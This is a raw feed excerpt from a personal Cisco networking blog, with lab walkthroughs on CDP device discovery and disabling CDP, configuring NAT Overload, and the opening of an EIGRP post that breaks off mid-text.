style="font-style: italic;"&gt;Cisco Internetwork Operating System Software &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt; &lt;span style="font-style: italic;"&gt;IOS (tm) C2950 Software (C2950-I6Q4L2-M), Version 12.1(12c)EA1, RELEASE SOFTWARE (fc1)&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Copyright (c) 1986-2002 by cisco Systems, Inc.&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Compiled Sun 24-Nov-02 23:31 by antonino&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;advertisement version: 2&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Protocol Hello:  OUI=0x00000C, Protocol ID=0x0112; payload len=27, value=00000000F&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;VTP Management Domain: ''&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Duplex: full&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Power drawn: 4294967.294 Watts&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;  &lt;span style="font-style: italic;"&gt;-------------------------&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Device ID: S1&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Entry address(es): &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;  IP address: 10.0.1.210&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Platform: cisco WS-C2950-24,  Capabilities: Switch IGMP &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Interface: Ethernet1,  Port ID (outgoing port): FastEthernet0/1&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Holdtime : 158 sec&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Version :&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Cisco Internetwork Operating System Software &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt; &lt;span style="font-style: italic;"&gt;IOS (tm) C2950 Software (C2950-I6Q4L2-M), Version 12.1(12c)EA1, RELEASE SOFTWARE (fc1)&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Copyright (c) 1986-2002 by cisco Systems, Inc.&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Compiled Sun 24-Nov-02 23:31 by antonino&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;advertisement version: 2&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Protocol Hello:  OUI=0x00000C, Protocol ID=0x0112; payload len=27, value=00000000F&lt;/span&gt; &lt;span style="font-style: italic;"&gt;VTP Management Domain: ''&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Duplex: full&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Power drawn: 4294967.294 Watts&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;So from here I can start to diagram my network by hopping from decice to device and adding in detailed information about connected devices that CDP knows about.  I can see which ports are fastethernet and which are not, which are full duplex and so much more.&lt;br /&gt;&lt;br /&gt;So by now were realising that this CDP information is great to an administrator but probably great to an attacker too so let's say we don't want CDP leaving my router on interface ethernet 1 for example.  Here's how we do that.&lt;br /&gt;&lt;br /&gt;Before I stop CDP on the router I check the switch and make sure it is working as expected.&lt;br /&gt;&lt;br /&gt;S1#&lt;span style="color: rgb(51, 255, 51);"&gt;show cdp neighbors &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge&lt;/span&gt; &lt;span style="font-style: italic;"&gt;                  S - Switch, H - Host, I - IGMP, r - Repeater&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;  &lt;span style="font-style: italic;"&gt;Device ID        Local Intrfce     Holdtme    Capability  Platform  Port ID&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Secure           Fas 0/17           129          R        Cisco C831Eth 0&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Secure           Fas 0/1            129          R        Cisco C831Eth 1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I can see that I have 2 CDP entries as expected.  Now I go to my router and stop CDP on Ethernet 1.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secure#&lt;span style="color: rgb(51, 255, 51);"&gt;conf t&lt;/span&gt;&lt;br /&gt;Secure(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;interface ethernet 1&lt;/span&gt;&lt;br /&gt;Secure(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;no cdp enable&lt;/span&gt;&lt;br /&gt;Secure(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I go back to my switch and see whats going on there.&lt;br /&gt;&lt;br /&gt;S1#&lt;span style="color: rgb(51, 255, 51);"&gt;show cdp neighbors&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge&lt;/span&gt; &lt;span style="font-style: italic;"&gt;                  S - Switch, H - Host, I - IGMP, r - Repeater&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Device ID        Local Intrfce     Holdtme    Capability  Platform  Port ID&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Secure           Fas 0/17           179          R        Cisco C831Eth 0&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Secure           Fas 0/1            119          R        Cisco C831Eth 1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I can see the CDP entry is still there but the holddown timer for Eth1 is still expiring whilst Eth0 has refreshed after it recieved a packet at the 60 second period.&lt;br /&gt;&lt;br /&gt;Finally after the 180 seconds has passed I can see the CDP entry for Eth1 drop out.&lt;br /&gt;&lt;br /&gt;S1#&lt;span style="color: rgb(51, 255, 51);"&gt;show cdp neighbors &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge&lt;/span&gt; &lt;span style="font-style: italic;"&gt;                  S - Switch, H - Host, I - IGMP, r - Repeater&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Device ID        Local Intrfce     Holdtme    Capability  Platform  Port ID&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Secure           Fas 0/17           159          R        Cisco C831Eth 0&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And thats about it for CDP.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-3256875694756691594?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/3256875694756691594/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=3256875694756691594&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/3256875694756691594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/3256875694756691594'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/10/discovering-devices-with-cdp.html' title='Discovering Devices with CDP'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-6418938101061321046</id><published>2009-10-03T10:27:00.007+01:00</published><updated>2009-10-03T14:49:42.923+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NAT'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>NAT Overload</title><content type='html'>In this post i'll configure NAT Overload (PAT) on my Cisco router.&lt;br /&gt;&lt;br /&gt;NAT is primarily used for the following purposes.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;To efficiently utilise public IP addresses and slow the depletion of IP version 4 addresses.&lt;/li&gt;&lt;li&gt;To help mask the internal IP address ranges from external sources.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;To aid in the merge of similiarly addressed networks.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;NAT can either be used in a one to many configuration (PAT), or a one to one configuration (Static or Dynamic). Here I'll cover NAT Overload.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When used in a one to many configuration the router uses the port numbers to remember connections.  For example:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Internal - External&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;192.168.1.1:4567 - 80.233.1.67:4567&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;192.168.1.2:3458 - 80.233.1.67:3458&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The same external address is used however the external address uses the internal addresses source port number as its own source port number.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Configuration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To configure NAT Overload so all my internal hosts on the address subnet 192.168.2.0 (defined in the access list in step 3) use the address 192.168.2.200 (as defined in the NAT pool in step 2).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Name the interfaces.&lt;br /&gt;&lt;br /&gt;Secure#&lt;span style="color: rgb(51, 255, 51);"&gt;conf t&lt;/span&gt;&lt;br /&gt;Secure(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;interface eth 0&lt;/span&gt;&lt;br /&gt;Secure(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip nat inside&lt;/span&gt;&lt;br /&gt;Secure(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;interface eth 1&lt;/span&gt;&lt;br /&gt;Secure(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip nat outside&lt;/span&gt;&lt;br /&gt;Secure(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Create the Pool of addresses to be used to NAT&lt;br /&gt;&lt;br /&gt;Secure(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip nat pool Secure-Pool 192.168.2.10 192.168.2.10 net 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Create a standard ACL that identifies addresses that will be NAT'd&lt;br /&gt;&lt;br /&gt;Secure(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip access-list standard 10&lt;/span&gt;&lt;br /&gt;Secure(config-std-nacl)#&lt;span style="color: rgb(51, 255, 51);"&gt;permit 192.168.2.0 0.0.0.255&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Enable NAT&lt;br /&gt;Secure(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip nat inside source list 10 pool Secure-Pool overload&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When I ping the external host all traffic is seen as coming from the address that I set up in the pool.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/Sscgwe2lLLI/AAAAAAAABQ0/8BZobfpa6Ao/s1600-h/nat+1.PNG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 53px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/Sscgwe2lLLI/AAAAAAAABQ0/8BZobfpa6Ao/s320/nat+1.PNG" alt="" id="BLOGGER_PHOTO_ID_5388311496459889842" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;All works well but because of my lab setup I need to change the pool address to one that works on my other network which connects to the internet.&lt;br /&gt;&lt;br /&gt;Secure(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;no ip nat inside source list 10 pool Secure-Pool overload&lt;/span&gt;&lt;br /&gt;Secure(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip nat pool Secure-Pool 10.0.1.199 10.0.1.199 net 255.255.255.0&lt;/span&gt;&lt;br /&gt;Secure(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip nat inside source list 10 pool Secure-Pool overload&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now from my lab I can get access to the web and if I ping a host on my lab net I see the correct NAT address returned.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SscgcvQ5aNI/AAAAAAAABQs/Sloa2lM35wo/s1600-h/nat+ping+1.PNG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 106px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SscgcvQ5aNI/AAAAAAAABQs/Sloa2lM35wo/s320/nat+ping+1.PNG" alt="" id="BLOGGER_PHOTO_ID_5388311157267851474" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Troubleshooting and Debugging&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A useful show command for looking at active translations is:&lt;br /&gt;&lt;br /&gt;Secure#&lt;span style="color: rgb(51, 255, 51);"&gt;show ip nat translations &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Pro    Inside global           Inside local          Outside local         Outside global&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;icmp 10.0.1.199:768       192.168.2.4:768   10.0.1.5:768          10.0.1.5:768&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;---      10.0.1.199               192.168.2.4           ---                   ---&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For looking at translations as they happen you can use:&lt;br /&gt;&lt;br /&gt;Secure#&lt;span style="color: rgb(51, 255, 51);"&gt;terminal monitor&lt;/span&gt;&lt;br /&gt;Secure#&lt;span style="color: rgb(51, 255, 51);"&gt;debug ip nat detailed &lt;/span&gt;&lt;br /&gt;IP NAT detailed debugging is on&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Secure#&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:52.903: NAT*: i: icmp (192.168.2.4, 768) -&gt; (10.0.1.5, 768) [56303]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:52.903: NAT*: i: icmp (192.168.2.4, 768) -&gt; (10.0.1.5, 768) [56303]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:52.903: NAT*: s=192.168.2.4-&gt;10.0.1.199, d=10.0.1.5 [56303]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:52.907: NAT*: o: icmp (10.0.1.5, 768) -&gt; (10.0.1.199, 768) [32653]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:52.907: NAT*: s=10.0.1.5, d=10.0.1.199-&gt;192.168.2.4 [32653]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Secure#&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:53.903: NAT*: i: icmp (192.168.2.4, 768) -&gt; (10.0.1.5, 768) [56304]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:53.903: NAT*: s=192.168.2.4-&gt;10.0.1.199, d=10.0.1.5 [56304]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:53.907: NAT*: o: icmp (10.0.1.5, 768) -&gt; (10.0.1.199, 768) [61886]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:53.907: NAT*: s=10.0.1.5, d=10.0.1.199-&gt;192.168.2.4 [61886]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Secure#&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:54.907: NAT*: i: icmp (192.168.2.4, 768) -&gt; (10.0.1.5, 768) [56305]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:54.907: NAT*: s=192.168.2.4-&gt;10.0.1.199, d=10.0.1.5 [56305]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:54.907: NAT*: o: icmp (10.0.1.5, 768) -&gt; (10.0.1.199, 768) [47007]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:54.907: NAT*: s=10.0.1.5, d=10.0.1.199-&gt;192.168.2.4 [47007]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Secure#&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:55.907: NAT*: i: icmp (192.168.2.4, 768) -&gt; (10.0.1.5, 768) [56306]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:55.907: NAT*: s=192.168.2.4-&gt;10.0.1.199, d=10.0.1.5 [56306]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:55.915: NAT*: o: icmp (10.0.1.5, 768) -&gt; (10.0.1.199, 768) [28657]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*Sep 27 14:09:55.915: NAT*: s=10.0.1.5, d=10.0.1.199-&gt;192.168.2.4 [28657]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Secure#&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In the output above we can see that were looking at ICMP traffic from 192.168.2.4 to 10.0.1.5 which is NAT'd to 10.0.1.199.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For NAT statistics:&lt;br /&gt;&lt;br /&gt;Secure#&lt;span style="color: rgb(51, 255, 51);"&gt;sh ip nat statistics&lt;/span&gt; &lt;br /&gt;&lt;span style="font-style: italic;"&gt;Total active translations: 2 (0 static, 2 dynamic; 1 extended)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Outside interfaces:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  Ethernet1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Inside interfaces: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  Ethernet0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hits: 4295  Misses: 212&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;CEF Translated packets: 3413, CEF Punted packets: 1847&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Expired translations: 637&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Dynamic mappings:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-- Inside Source&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[Id: 7] access-list 2 pool Secure-Pool refcount 2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; pool Secure-Pool: netmask 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    start 10.0.1.199 end 10.0.1.199&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    type generic, total addresses 1, allocated 1 (100%), misses 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Queued Packets: 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Secure#&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-6418938101061321046?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/6418938101061321046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=6418938101061321046&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6418938101061321046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6418938101061321046'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/10/nat-overload.html' title='NAT Overload'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_vZAp7b1QDw8/Sscgwe2lLLI/AAAAAAAABQ0/8BZobfpa6Ao/s72-c/nat+1.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-7657037160184502421</id><published>2009-09-27T10:22:00.004+01:00</published><updated>2009-09-27T11:26:15.457+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='EIGRP'/><category scheme='http://www.blogger.com/atom/ns#' term='Routing'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>IP Routing - EIGRP</title><content type='html'>&lt;div&gt;Right, first a bit about EIGRP from my notes.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;EIGRP (Enhanced Interior Gateway Routing Protocol) a cisco proprietry hybrid routing protocol and uses the DUAL algorithm for selecting the best path to remote networks. It has both link state and distance vector characteristics. EIGRP has an administrative distance of 90.  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;EIGRP uses a multicast address of 224.0.0 to send updates as the topology changes.  If the router does not receive a reply from a neighbor after sending the multicast update it will use unicast.  A list of neighbors are maintained in the neighborship table.  After the router has sent 16 unicasts and recieved no reply the neighbor will be declared dead and removed from the neighborship table.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;EIGRP will only share routing information with it's neighbors if they share the same AS number.  All updates that EIGRP receives are entered into it's topology table and the best routes are selected by DUAL and entered into the routing table.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;EIGRP (unlike IGRP) includes the subnet mask in it's advertisements which allows it to utilise VLSM and summarisation and supports discontiguous networks.  By default EIGRP uses bandwidth and delay to calculate the best route to a remote network.  EIGRP can loadbalance across up to 6 equal or unequal cost links but the default is 4.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;b&gt;My Lab&lt;br /&gt;&lt;/b&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'll be using the same lab as in  previous posts.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/Sr8vxhPHYPI/AAAAAAAABQU/RdWsIBwG-1I/s1600-h/Routing+lab+diagram.png"&gt;&lt;img src="http://3.bp.blogspot.com/_vZAp7b1QDw8/Sr8vxhPHYPI/AAAAAAAABQU/RdWsIBwG-1I/s320/Routing+lab+diagram.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5386076207140266226" style="cursor: pointer; width: 320px; height: 99px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;Router 1 (R1)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;FastEthernet 0/0 - 192.168.1.1/24&lt;/div&gt;&lt;div&gt;loopback 0 - 172.16.10.0/24&lt;/div&gt;&lt;div&gt;loopback 1 - 10.1.1.0/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Router 2 (R2)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;FastEthernet 0/0 - 192.168.1.2/24&lt;/div&gt;&lt;div&gt;FastEthernet 1/0 - 192.168.2.1/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Router 3 (R3)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;FastEthernet 0/0 - 192.168.2.2/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;Configuring EIGRP&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Below I'm going to remove OSPF which was set up in a previous lab and configure all of my routers with EIGRP.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br 